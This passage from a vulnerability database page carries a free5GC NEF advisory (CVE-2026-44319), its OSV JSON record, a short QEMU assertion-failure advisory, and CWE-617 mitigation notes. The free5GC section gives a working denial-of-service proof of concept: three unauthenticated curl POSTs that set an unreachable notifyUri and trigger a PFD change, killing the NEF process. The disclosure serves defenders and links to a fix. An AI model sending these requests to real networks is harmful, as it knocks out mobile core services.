    logger.PFDManageLog.Fatal(err)   // <-- os.Exit(1)-equivalent
}

The failing branch is reached whenever NEF's outbound POST to the subscriber's notifyUri returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns 201 Created and only then does NEF die.

Code evidence (paths in free5gc/nef): - Notifier dispatch: - NFs/nef/internal/sbi/notifier/pfd_notifier.go:135 - Fatal call site (process exit): - NFs/nef/internal/sbi/notifier/pfd_notifier.go:142

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit.

  1. Create an AF context (no Authorization header):
curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \
  -H 'Content-Type: application/json' \
  --data '{"afAppId":"app-nef-dos","anyUeInd":true}'

HTTP/1.1 201 Created
Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1
  1. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally):
curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \
  -H 'Content-Type: application/json' \
  --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}'

HTTP/1.1 201 Created
Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1
  1. Trigger a PFD change so NEF tries to deliver a notification to the bad URI:
curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \
  -H 'Content-Type: application/json' \
  --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}'

The PFD POST itself returns 201, but immediately afterward NEF exits.

  1. Confirm the NEF container is dead (exited, exit=1):
docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}'

status=exited restart=0 exit=1
  1. NEF container logs (docker logs --since 2026-03-20T16:00:03Z nef) show the [FATA] line that terminated the process:
[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos]
[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation
[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added
[INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions |
[FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused

Impact

Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied notifyUri. logger.Fatal is os.Exit(1)-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates.

In v4.2.1, the trigger chain is reachable without an Authorization header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable notifyUri (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same Fatal, so partial fixes that block one URI do not close the family.

No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/nef"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44319"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-617",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:44:35Z",
    "nvd_published_at": "2026-05-27T17:16:37Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nfree5GC\u0027s NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF\u0027s entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`).\n\nThe trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above.\n\n### Details\nValidated against the NEF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nef:v4.2.1`\n- Runtime NEF commit: `5ce35eab`\n- Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`)\n- NEF endpoint: `http://10.100.200.19:8000`\n\nVulnerable notifier path:\n```go\n_, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify(\n    context.TODO(), nc.notifier.getSubURI(id), notifyReq)\nif err != nil {\n    logger.PFDManageLog.Fatal(err)   // \u003c-- os.Exit(1)-equivalent\n}\n```\n\nThe failing branch is reached whenever NEF\u0027s outbound POST to the subscriber\u0027s `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die.\n\nCode evidence (paths in `free5gc/nef`):\n- Notifier dispatch:\n  - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135`\n- Fatal call site (process exit):\n  - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142`\n\n### PoC\nReproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -\u003e Fatal -\u003e process exit.\n\n1. Create an AF context (no Authorization header):\n```\ncurl -i -X POST \u0027http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"afAppId\":\"app-nef-dos\",\"anyUeInd\":true}\u0027\n```\n```\nHTTP/1.1 201 Created\nLocation: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1\n```\n\n2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally):\n```\ncurl -i -X POST \u0027http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"applicationIds\":[\"app-nef-dos\"],\"notifyUri\":\"http://127.0.0.1:1/notify\"}\u0027\n```\n```\nHTTP/1.1 201 Created\nLocation: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1\n```\n\n3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI:\n```\ncurl -i -X POST \u0027http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"pfdDatas\":{\"app-nef-dos\":{\"externalAppId\":\"app-nef-dos\",\"pfds\":{\"pfd1\":{\"pfdId\":\"pfd1\",\"flowDescriptions\":[\"permit in ip from 10.68.28.39 80 to any\",\"permit out ip from any to 10.68.28.39 80\"]}}}}}\u0027\n```\nThe PFD POST itself returns `201`, but immediately afterward NEF exits.\n\n4. Confirm the NEF container is dead (`exited`, `exit=1`):\n```\ndocker inspect nef --format \u0027status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}\u0027\n```\n```\nstatus=exited restart=0 exit=1\n```\n\n5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process:\n```\n[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos]\n[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation\n[INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added\n[INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions |\n[FATA][NEF][PFDMng] Post \"http://127.0.0.1:1/notify\": dial tcp 127.0.0.1:1: connect: connection refused\n```\n\n### Impact\nReachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates.\n\nIn v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can:\n- Submit the three-step trigger anonymously and immediately terminate the NEF process.\n- Repeat the trigger after every restart to sustain the outage.\n- Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family.\n\nNo Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/924\nUpstream fix: https://github.com/free5gc/nef/pull/25",
  "id": "GHSA-rxrq-fv76-26pr",
  "modified": "2026-06-08T23:47:12Z",
  "published": "2026-05-08T22:44:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-rxrq-fv76-26pr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44319"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/924"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nef/pull/25"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nef/commit/f110517b1189801950b50668a593398687049074"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC\u0027s NEF crashes via logger.Fatal on PFD notification delivery failure (attacker-controlled notifyUri)"
}

GHSA-RXVX-VX9W-JW3J

Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-09-06 00:00
VLAI
Details

eth_get_gso_type in net/eth.c in QEMU 4.2.1 allows guest OS users to trigger an assertion failure. A guest can crash the QEMU process via packet data that lacks a valid Layer 3 protocol.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-27617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-617"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-06T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "eth_get_gso_type in net/eth.c in QEMU 4.2.1 allows guest OS users to trigger an assertion failure. A guest can crash the QEMU process via packet data that lacks a valid Layer 3 protocol.",
  "id": "GHSA-rxvx-vx9w-jw3j",
  "modified": "2022-09-06T00:00:28Z",
  "published": "2022-05-24T17:33:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27617"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/11/msg00047.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/09/msg00008.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.nongnu.org/archive/html/qemu-devel/2020-10/msg05731.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20201202-0002"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/11/02/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Implementation

Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)

Mitigation
Implementation

Strategy: Input Validation

Perform input validation on user data.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list